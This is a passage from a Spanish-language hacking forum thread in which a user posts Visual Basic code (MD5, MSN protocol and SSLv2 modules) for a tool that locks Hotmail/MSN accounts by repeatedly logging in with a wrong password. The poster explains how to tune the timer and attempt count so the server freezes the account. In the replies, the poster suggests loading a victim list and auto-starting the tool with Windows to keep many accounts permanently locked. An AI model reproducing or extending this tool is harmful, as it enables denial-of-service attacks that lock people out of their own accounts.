    arrPadding(3) = MD5LongConversion(dblBits) \ 16777216 And &HFF&
    arrPadding(4) = 0
    arrPadding(5) = 0
    arrPadding(6) = 0
    arrPadding(7) = 0
    
    MD564Split 8, arrPadding
    
End Sub

Private Function MD5StringChange(lngnum As Long) As String
        
        Dim bytA As Byte
        Dim bytB As Byte
        Dim bytC As Byte
        Dim bytD As Byte
        
        bytA = lngnum And &HFF&
        If bytA < 16 Then
            MD5StringChange = "0" & Hex(bytA)
        Else
            MD5StringChange = Hex(bytA)
        End If
               
        bytB = (lngnum And &HFF00&) \ 256
        If bytB < 16 Then
            MD5StringChange = MD5StringChange & "0" & Hex(bytB)
        Else
            MD5StringChange = MD5StringChange & Hex(bytB)
        End If
        
        bytC = (lngnum And &HFF0000) \ 65536
        If bytC < 16 Then
            MD5StringChange = MD5StringChange & "0" & Hex(bytC)
        Else
            MD5StringChange = MD5StringChange & Hex(bytC)
        End If
       
        If lngnum < 0 Then
            bytD = ((lngnum And &H7F000000) \ 16777216) Or &H80&
        Else
            bytD = (lngnum And &HFF000000) \ 16777216
        End If
        
        If bytD < 16 Then
            MD5StringChange = MD5StringChange & "0" & Hex(bytD)
        Else
            MD5StringChange = MD5StringChange & Hex(bytD)
        End If

End Function

Private Function MD5Value() As String

    MD5Value = LCase(MD5StringChange(arrLongConversion(1)) & MD5StringChange(arrLongConversion(2)) & MD5StringChange(arrLongConversion(3)) & MD5StringChange(arrLongConversion(4)))

End Function

Public Function CalculateMD5(strMessage As String) As String

    Dim bytBuffer() As Byte
    
    bytBuffer = MD5StringArray(strMessage)
    
    MD5Start
    MD564Split Len(strMessage), bytBuffer
    MD5Finish
    
    CalculateMD5 = MD5Value
    
End Function

Private Sub MD5Start()

    lngTrack = 0
    arrLongConversion(1) = MD5LongConversion(1732584193#)
    arrLongConversion(2) = MD5LongConversion(4023233417#)
    arrLongConversion(3) = MD5LongConversion(2562383102#)
    arrLongConversion(4) = MD5LongConversion(271733878#)
    
End Sub

[Tengu]

en un modulo bas llamado msnmod agregamos:

Código:

Option Explicit

Public Type MSN_Contacts
    Email               As String
    Friendly_Name       As String
    Group               As String
    Active              As Boolean
    index               As Long
End Type

Public Type Message
    Caller              As String
    Challenge           As String
    SessionID           As String
End Type
Global ContactCount As Long, Contacts() As MSN_Contacts, RNG(1024) As Message, tID As Long, Username As String, Password As String, Status As String

Function Unescape(ByVal Enc As String) As String
Dim i As Long
For i = Len(Enc) To 1 Step -1
    If Mid$(Enc, i, 1) = "%" Then Enc = Replace$(Enc, Mid$(Enc, i, 3), Chr$(Asc(Chr$("&H" & Mid$(Enc, i + 1, 2)))))
Next i
Unescape = Enc
End Function

Function Escape(ByVal Enc As String) As String
Dim i As Long, tmp As String
Do
    i = i + 1
    tmp = Mid$(Enc, i, 1): If tmp = "" Then Exit Do
    If Asc(tmp) < 48 Then Enc = Replace$(Enc, tmp, "%" & Hex(Asc(Mid$(Enc, i))))
Loop
Escape = Enc
End Function

Function Typing(ByVal User As String) As String
'type trID ack len packet
Typing = "MSG " & TRID & " U " & CStr(Len(User) + 73) & vbCrLf & _
    "MIME-Version: 1.0" & vbCrLf & _
    "Content-Type: text/x-msmsgscontrol" & vbCrLf & _
"TypingUser: " & User & vbCrLf & vbCrLf
End Function

Function TRID() As String
If tID < 32767 Then tID = tID + 1 Else tID = 5
TRID = CStr(tID)
End Function

[Tengu]

y en un modulo bas llamado SSLv2:

Código:

Option Explicit

'Encryption Object
Public SecureSession As CryptoCls

'Variables for Parsing
Public Layer As Integer
Public InBuffer As String
Public Processing As Boolean
Public SeekLen As Integer
Dim i As Long

' Added by Seth Taylor 2005-02-22 to buffer incoming data
Public DataBuffer As String

'Encryption Keys
Public MASTER_KEY As String
Public CLIENT_READ_KEY As String
Public CLIENT_WRITE_KEY As String

'Server Attributes
Public PUBLIC_KEY As String
Public ENCODED_CERT As String
Public CONNECTION_ID As String

'Counters
Public SEND_SEQUENCE_NUMBER As Double
Public RECV_SEQUENCE_NUMBER As Double

'Hand Shake Variables
Public CLIENT_HELLO As String
Public CHALLENGE_DATA As String


Private Sub CertToPublicKey()

    'Create CryptoAPI Blob from Certificate
    Const lPbkLen As Long = 1024
    Dim lOffset As Long
    Dim lStart As Long
    Dim sBlkLen As String
    Dim sRevKey As String
    Dim ASNStart As Long
    Dim ASNKEY As String

    lOffset = CLng(lPbkLen \ 8)
    lStart = 5 + (lOffset \ 128) * 2

    ASNStart = InStr(1, ENCODED_CERT, Chr(48) & Chr(129) & Chr(137) & Chr(2) & Chr(129) & Chr(129) & Chr(0)) + lStart
    ASNKEY = Mid(ENCODED_CERT, ASNStart, 128)

    sRevKey = ReverseString(ASNKEY)

    sBlkLen = CStr(Hex(lPbkLen \ 256))
    If Len(sBlkLen) = 1 Then sBlkLen = "0" & sBlkLen

    PUBLIC_KEY = (HexToBin( _
            "06020000" & _
            "00A40000" & _
            "52534131" & _
            "00" & sBlkLen & "0000" & _
            "01000100") & sRevKey)

End Sub

Public Function VerifyMAC(ByVal DecryptedRecord As String) As Boolean

    'Verify the Message Authentication Code
    Dim PrependedMAC As String
    Dim RecordData As String
    Dim CalculatedMAC As String
    
    PrependedMAC = Mid(DecryptedRecord, 1, 16)
    RecordData = Mid(DecryptedRecord, 17)
    
    CalculatedMAC = SecureSession.MD5_Hash(CLIENT_READ_KEY & RecordData & RecvSequence)
    
    Call IncrementRecv

    If CalculatedMAC = PrependedMAC Then
        VerifyMAC = True
    Else
        VerifyMAC = False
    End If

End Function

Private Function SendSequence() As String

    'Convert Send Counter to a String
    Dim TempString As String
    Dim TempSequence As Double
    Dim TempByte As Double
    
    TempSequence = SEND_SEQUENCE_NUMBER
    
    For i = 1 To 4
        TempByte = 256 * ((TempSequence / 256) - Int(TempSequence / 256))
        TempSequence = Int(TempSequence / 256)
        TempString = Chr(TempByte) & TempString
    Next
    
    SendSequence = TempString

End Function

Private Function RecvSequence() As String

    'Convert Receive Counter to a String
    Dim TempString As String
    Dim TempSequence As Double
    Dim TempByte As Double
    
    TempSequence = RECV_SEQUENCE_NUMBER
    
    For i = 1 To 4
        TempByte = 256 * ((TempSequence / 256) - Int(TempSequence / 256))
        TempSequence = Int(TempSequence / 256)
        TempString = Chr(TempByte) & TempString
    Next
    
    RecvSequence = TempString

End Function

Public Sub SendClientHello(ByRef Socket As Winsock)

    'Send Client Hello
    Layer = 0
    
    Call SecureSession.GenerateRandomBytes(16, CHALLENGE_DATA)
    
    SEND_SEQUENCE_NUMBER = 0
    RECV_SEQUENCE_NUMBER = 0
    
    CLIENT_HELLO = Chr(1) & _
                    Chr(0) & Chr(2) & _
                    Chr(0) & Chr(3) & _
                    Chr(0) & Chr(0) & _
                    Chr(0) & Chr(Len(CHALLENGE_DATA)) & _
                    Chr(1) & Chr(0) & Chr(128) & _
                    CHALLENGE_DATA

    If Socket.State = 7 Then Socket.SendData AddRecordHeader(CLIENT_HELLO)

End Sub

Public Sub SendMasterKey(ByRef Socket As Winsock)

    'Send Master Key
    Layer = 1
    
    Call SecureSession.GenerateRandomBytes(32, MASTER_KEY)

    Call CertToPublicKey

    Socket.SendData AddRecordHeader(Chr(2) & _
                                    Chr(1) & Chr(0) & Chr(128) & _
                                    Chr(0) & Chr(0) & _
                                    Chr(0) & Chr(128) & _
                                    Chr(0) & Chr(0) & _
                                    SecureSession.ExportKeyBlob(MASTER_KEY, CLIENT_READ_KEY, CLIENT_WRITE_KEY, CHALLENGE_DATA, CONNECTION_ID, PUBLIC_KEY))

End Sub

Public Sub SendClientFinish(ByRef Socket As Winsock)

    'Send ClientFinished Message
    Layer = 2
    Call SSLSend(Socket, Chr(3) & CONNECTION_ID)

End Sub

Public Sub SSLSend(ByRef Socket As Winsock, ByVal Plaintext As String)

    'Send Plaintext as an Encrypted SSL Record
    Dim SSLRecord As String
    Dim OtherPart As String
    Dim SendAnother As Boolean
    
    If Len(Plaintext) > 32751 Then
        SendAnother = True
        OtherPart = Mid(Plaintext, 32752)
        Plaintext = Mid(Plaintext, 1, 32751)
    Else
        SendAnother = False
    End If
    
    SSLRecord = AddMACData(Plaintext)
    SSLRecord = SecureSession.RC4_Encrypt(SSLRecord)
    SSLRecord = AddRecordHeader(SSLRecord)
    
    Socket.SendData SSLRecord
    
    If SendAnother = True Then
        Call SSLSend(Socket, OtherPart)
    End If

End Sub

Private Function AddMACData(ByVal Plaintext As String) As String

    'Prepend MAC Data to the Plaintext
    AddMACData = SecureSession.MD5_Hash(CLIENT_WRITE_KEY & Plaintext & SendSequence) & Plaintext

End Function

Private Function AddRecordHeader(ByVal RecordData As String) As String

    'Prepend SLL Record Header to the Data Record
    Dim FirstChar As String
    Dim LastChar As String
    Dim TheLen As Long
        
    TheLen = Len(RecordData)
    
    FirstChar = Chr(128 + (TheLen \ 256))
    LastChar = Chr(TheLen Mod 256)

    AddRecordHeader = FirstChar & LastChar & RecordData
    
    Call IncrementSend

End Function

Public Sub IncrementSend()

    'Increment Counter for Each Record Sent
    SEND_SEQUENCE_NUMBER = SEND_SEQUENCE_NUMBER + 1
    If SEND_SEQUENCE_NUMBER = 4294967296# Then SEND_SEQUENCE_NUMBER = 0

End Sub

Public Sub IncrementRecv()

    'Increment Counter for Each Record Received
    RECV_SEQUENCE_NUMBER = RECV_SEQUENCE_NUMBER + 1
    If RECV_SEQUENCE_NUMBER = 4294967296# Then RECV_SEQUENCE_NUMBER = 0

End Sub
'###########################################################TenguFireb0y
Public Function BytesToLen(ByVal TwoBytes As String) As Long

    'Convert Byte Pair to Packet Length
    Dim FirstByteVal As Long
    FirstByteVal = Asc(Left(TwoBytes, 1))
    If FirstByteVal >= 128 Then FirstByteVal = FirstByteVal - 128
    
    BytesToLen = 256 * FirstByteVal + Asc(Right(TwoBytes, 1))

End Function

Private Function HexToBin(ByVal HexString As String) As String

    'Convert a Hexadecimal String to characters
    Dim BinString As String
    For i = 1 To Len(HexString) Step 2
        BinString = BinString & Chr(Val("&H" & Mid(HexString, i, 2)))
    Next i
    HexToBin = BinString

End Function

Public Function ReverseString(ByVal TheString As String) As String
ReverseString = StrReverse(TheString)
End Function

[Tengu]

recuerden que en la linea de codigo ubicada en el timer1

Código:

If Text2.Text = "15" Then

es donde se decide cuantas veces se va a intentar la conexion para bloquear la cuenta

y el intervalo de tiempo que le asignen al timer uno es el que decidira cada cuanto tiempo se va a intentar la conexion, y sean muy precavidos al momento de cambiar ese valor ya que si el timer tiene un avalor muy pequeño,es decir si realiza lapeticion muy rapido no dara tiempo a autenticar la cuenta con la clave falsa y eso hara que ese intento de conexion no sea contado por el servidor de hotmail y podria hacer que nuestro programa no cumpla con su mision. ya que no congelaria la cuenta.

Espero les guste el code y utilicen laimaginacion ya que hay muchas cosas que no se han hecho con el y que podrian hacerce facilmente jejej Salu25

                                                    Tengu ..::Fireb0y::..

[cheatmaster]

muy bueno,, una pregunta

Si hacemos que abra un txt existente, con una lista d msn, blokearia a toda no ?? ya q estaria dentro del txtbox, lo digo, por que asin + un registro el congelo seria para siempre sin necesidad de mandarlo d nuevo

[Tengu]

en cuanto a eso lo q yo habia hecho era ponerle un listbox y empezaba por el primero y cuando terminaba de congelarlo lo q hacia era pasar al siguiente index de la lista y asi sucesibamente creaba un ciclo q congelaba permanentemente las cuentas. para lo q tu dices podrias crear un archivo .ini con las victimas y hacer qa se inicie con windows  asi cada vez q conectes tu pc automaticamente carga la lista y empiieza a bloquear.*
**

si necesitas alguna ayuda solo pregunta aqui

[Freeze.]

Que bueno pero no crees que es un poco Exagerado Recuerda que Cualquier Persona se lo puede hacer a otra??? jajaja en fin.. Cada quien sabe que hacer con ese code...

Salu2..!! Gracias...

PD: Lo estare Leyendo a ver que tal..